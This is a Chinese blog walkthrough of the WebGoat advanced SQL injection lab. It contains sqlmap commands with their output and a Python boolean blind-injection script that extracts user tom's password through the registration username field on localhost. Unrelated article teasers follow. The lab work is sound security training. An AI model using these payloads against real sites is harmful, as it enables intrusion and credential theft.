WebGoat---Injection Flaws---SQL Injection (advanced) 5 解法_webgoat sql注入(高级) 第五关-程序员宅基地

技术标签:   webgoat  

经过测试,发现注册时的用户名处存在布尔盲注,将如下内容保存为request.txt,开始用sqlmap

PUT http://127.0.0.1:8080/WebGoat/SqlInjection/challenge HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Cookie: JSESSIONID=61E3648728C46675C274BC0980B448BE
Connection: keep-alive
Host: 127.0.0.1:8080

username_reg=hello&email_reg=1%40q.com&password_reg=world&confirm_password_reg=world

要注意的是Cookie有时限
执行如下命令:

# 探测数据库类型,结果为:HSQLDB,并且建议加--no-cast参数
sqlmap -r request.txt -p username_reg

# 查数据库,获取3个数据库名:
# [*] INFORMATION_SCHEMA
# [*] PUBLIC
# [*] SYSTEM_LOBS
sqlmap -r request.txt -p username_reg --dbs --no-cast

# 查PUBLIC数据库,选择爆破,线程选最大的10,得到6张表
# Database: PUBLIC
# [6 tables]
# +--------------+
# | auth         |
# | employee     |
# | roles        |
# | servers      |
# | transactions |
# | user_data    |
# +--------------+
sqlmap -r request.txt -p username_reg -D PUBLIC --tables --no-cast

# 获取user_data表的字段
# Database: PUBLIC
# Table: USER_DATA
# [10 columns]
# +-------------+-------------+
# | Column      | Type        |
# +-------------+-------------+
# | cc_number   | non-numeric |
# | cc_type     | non-numeric |
# | cookie      | non-numeric |
# | email       | non-numeric |
# | first_name  | non-numeric |
# | last_name   | non-numeric |
# | login_count | numeric     |
# | password    | non-numeric |
# | today       | numeric     |
# | userid      | numeric     |
# +-------------+-------------+
sqlmap -r request.txt -p username_reg -D PUBLIC -T user_data --columns --no-cast

# 最后一步出错了,,,

通过看源码发现,自己连正确的表都没有注出来,sqlmap就不指望了,写脚本跑吧

# coding:utf8

"""
True: already exists please try to register with a different username.
False: created, please proceed to the login page.

我解这个问题其实是在蒙,用sqlmap爆破发现register的username_reg有bool盲注,然后用sqlmap一通,知道一个表中有password字段,然后sqlmap再往下就出错了,没办法,写脚本吧,已经知道了字段,就直接盲注字段,老是不对,看源码才知道用户名原来是tom,小写的t,这样就得到密码了

但其实看源码之后才发现,sqlmap搞出来的表和我要注入的表是不一样的,就这样吧,误打误撞出来了

源码位置: WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionChallenge.java
"""

import requests


def get_status(content):
    if 'already exists please try to register with a different username.' in content:
        return 1
    elif 'created, please proceed to the login page.' in content:
        return 0
    else:
        return -1


url = 'http://127.0.0.1:8080/WebGoat/SqlInjection/challenge'

headers = {
    
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Referer': 'http://127.0.0.1:8080/WebGoat/start.mvc',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Length': '85',
    'Cookie': 'JSESSIONID=F15EA9332EAE5CFBD726887EA270BC9C',
    'Connection': 'keep-alive',
    'Host': '127.0.0.1:8080',
    }

data = {
    
    'username_reg': 'a',
    'email_reg': '[email protected]',
    'password_reg': 'a',
    'confirm_password_reg': 'a',
}

s = requests.session()

tom_pass_len = 0
for i in range(2, 100):
    data['username_reg'] = "tom' AND LENGTH(password)=%d AND '1'='1" % i
    res = s.put(url, headers=headers, data=data)
    if get_status(res.content) == -1:
        print 'Error'
        print res.content
        exit(0)
    elif get_status(res.content) == 0:
        continue
    elif get_status(res.content) == 1:
        print 'password len: %d' % i
        tom_pass_len = i
        break

tom_password = ['*'] * tom_pass_len
common_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(1, tom_pass_len+1):
    for c in common_chars:
        data['username_reg'] = "tom' AND SUBSTRING(password, %d, 1)='%s" % (i, c)
        res = s.put(url, headers=headers, data=data)
        if get_status(res.content) == -1:
            print 'Error'
            print res.content
            exit(0)
        elif get_status(res.content) == 0:
            continue
        elif get_status(res.content) == 1:
            print c
            tom_password[i-1] = c
            break

print 'tom_password: ', ''.join(tom_password)

参考: https://klarsen.net/infosec/owasp-webgoat-sql-advanced-lesson/

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xuqi7/article/details/83552458

智能推荐

简单几步完成less的安装及使用_yarn 安装less-程序员宅基地

文章浏览阅读1k次,点赞21次,收藏8次。Less (Leaner Style Sheets 的缩写) 是一门向后兼容的 CSS 扩展语言。这里呈现的是 Less 的官方文档(中文版),包含了 Less 语言以及利用 JavaScript 开发的用于将 Less 样式转换成 CSS 样式的 Less.js 工具。(1) style标签,lang=”less” 开启less功能。在上面报错之后,先在终端ctrl+c停掉,然后输入命令等待。如果我们没有安装less直接使用就像下面这样,会报错。Ok,这样就成功了,在终端看已经没有再报错了。_yarn 安装less

基于SSM的养老院系统管理设计与开发-64996,毕业设计 免费领源码,【计算机毕业设计开题选题+程序定制+论文书写+答辩ppt书写 全流程 】-程序员宅基地

文章浏览阅读963次,点赞19次,收藏19次。免费领取项目源码,请关注●点赞收藏并私信博主,谢谢-本设计主要实现集人性化、高效率、便捷等优点于一身的养老院系统,完成老人信息、薪资管理、资产管理、人事考勤、老人管理、费用管理、事故记录、床位类型、入住信息、请假信息、健康监控、资产类型等功能模块。系统通过浏览器与服务器进行通信,实现数据的交互与变更。只需通过一台电脑,动动手指就可以操作系统,实现数据通信管理。整个系统的设计过程都充分考虑了数据的安全、稳定及可靠等问题,而且操作过程简单。本系统通过科学的管理方式、便捷的服务提高了工作效率,减少了数据存储上

STM32 cubeMX 呼吸灯实验_stm32cubemx 呼吸灯-程序员宅基地

文章浏览阅读1.3k次,点赞21次,收藏33次。下篇文章为大家介绍 无源蜂鸣器唱歌。_stm32cubemx 呼吸灯

linux下执行sh脚本,提示Command not found_sh: tar: command not found-程序员宅基地

文章浏览阅读5.2k次。记录一下用U盘复制一个xxx.tar.gz解压在U盘中解压 tar zxvf xxx.tar.gzcd xxx执行./xxx.sh提示Command not found把压缩包 cp 到 liunx根目录下执行解压 执行脚本 可以正常运行。..._sh: tar: command not found

使用@jsonField失效?springBoot@jsonformat引起的时区问题,但是,这个要写死了!我就是不要这个时区。_@jsonfield时区-程序员宅基地

文章浏览阅读1.5w次,点赞2次,收藏3次。springboot使用restful接口返回json数据的时候有一个时区问题,可以在配置文件中采用#In BeiJing GMT+8, if you are in another area, please refer to GTM time.spring.jackson.time-zone=GMT+8解决时区的问题,但是不能动态的,如果我在悉尼呢,+11手动配置,但是悉尼有夏令时+12_@jsonfield时区

PHP 运行后出现The requested URL was not found on this server._the requested url /flag.php was not found on this -程序员宅基地

文章浏览阅读1.1w次。出现如上图这种情况。解决方法:去代码找到form表单,把action="" 引号里面的值删掉就行了。如图,把图中的w删掉就OK了_the requested url /flag.php was not found on this server.

随便推点

赋能零售成长型企业营销增长,云徙「数盈·新营销中台」发布_巨石崩裂时有人看见了恐惧,有人看见了光-程序员宅基地

文章浏览阅读4.1k次。巨石崩裂时,有人看见了恐惧,有人看见了光。因为有光,万物生长。 疫情给每个企业的影响都是巨大的。但在疫情冲击之下,由中台技术推动企业数字化转型,又给企业带来了希望。 从2016年创业至今,云徙科技的每一次亮相,都在自我突破,引领创新,制造惊喜。今天,云徙科技召开「数in未来 一起发光」新品线上发布会,以3D科技秀的方式向企业伙伴及业界朋友正式介绍这款面向成长型企业用户产品「数盈·新营销中台..._巨石崩裂时有人看见了恐惧,有人看见了光

嵌入式期末选择复习题_对于stm32,以下不属于pll的时钟输入源的是( )-程序员宅基地

文章浏览阅读2.6k次,点赞4次,收藏37次。1.下列属于嵌入式处理器的芯片是?A.Intel386处理器B.AMD处理器C.Intel酷睿处理器D.STM32F103VET6正确答案:D2. ​OLED显示模块属于下列哪一种外围电路A.环境感知类B.存储类C.人机交互类D.接口类正确答案:C3.嵌入式系统有别于其他系统的最大特点是A.嵌入专用B.低功耗C.低成本D.高可靠正确答案:A4. 下列哪些是嵌入式系统的基本特点?A.嵌入性B.计算机系统C.低功耗D.专用性正确答案:A、B、D5. 下列哪些产品属于嵌入式系统A.智能手机B.笔记本电脑C.银河系_对于stm32,以下不属于pll的时钟输入源的是( )

Filebeat使用指南-程序员宅基地

文章浏览阅读2k次,点赞64次,收藏52次。Filebeat是使用Golang实现的轻量型日志采集器,也是Elasticsearch stack的一员。它可以作为一个agent安装在各个节点上,根据配置读取对应位置的日志,并上报到相应的地方去。Filebeat的可靠性很强,可以保证日志至少一次的上报,同时也考虑了日志搜集中的各类问题,例如日志断点续读、文件名更改、日志截断等。Filebeat并不依赖于Elasticsearch,可以单独存在。_filebeat

制造业的发展战略规划-程序员宅基地

文章浏览阅读5.5k次。 资料来源:德信诚 当前,很有一些制造业发展战略规划,因袭过去的思维,玩概念出新。以为,只要想出一两个新词儿就是创新战略了。其实,完全不是那么回事。这种在实战策划中进行概念游戏的做法是一种战略研究中的低俗化倾向。 目前,世界已进入“战略制胜”的时代。战略研究已经成为企业家“最占时间、最为重要、最为困难的事情”。为此,前不久一些同志发表了有关制造业战略研究的文章,提出了当前

FSL之bet颅骨剥离_mri,bet-程序员宅基地

文章浏览阅读7.8k次,点赞7次,收藏56次。颅骨剥离(bet)终端输出fsl启动软件界面如下点击红框显示如下参数解释Fractional intensity threshold…:默认为0.5就可(你可以试试0.2和0.8的效果,会使剥离的大小变化)bet算法通常就选这两个其中之一。一个标准算法,一个鲁棒算法标准提取算法和鲁棒提取算法比较高级选项:1.Output brain-extracted image:默认勾上..._mri,bet

JAVA识别电子发票问题汇总_java 发票识别-程序员宅基地

文章浏览阅读859次。之前写的java解析电子发票,上线后出现了一下线上的问题,无法解析发票,对问题做个规整。pdfbox是一款Apache的开源工具,可以进行对pdf进行操作,如题,转图片也包含在里面,还有添加、删除、编辑pdf页,提取文字等功能。对于基本语法可参考官网,这里不再讲解基础,只列出一些问题。_java 发票识别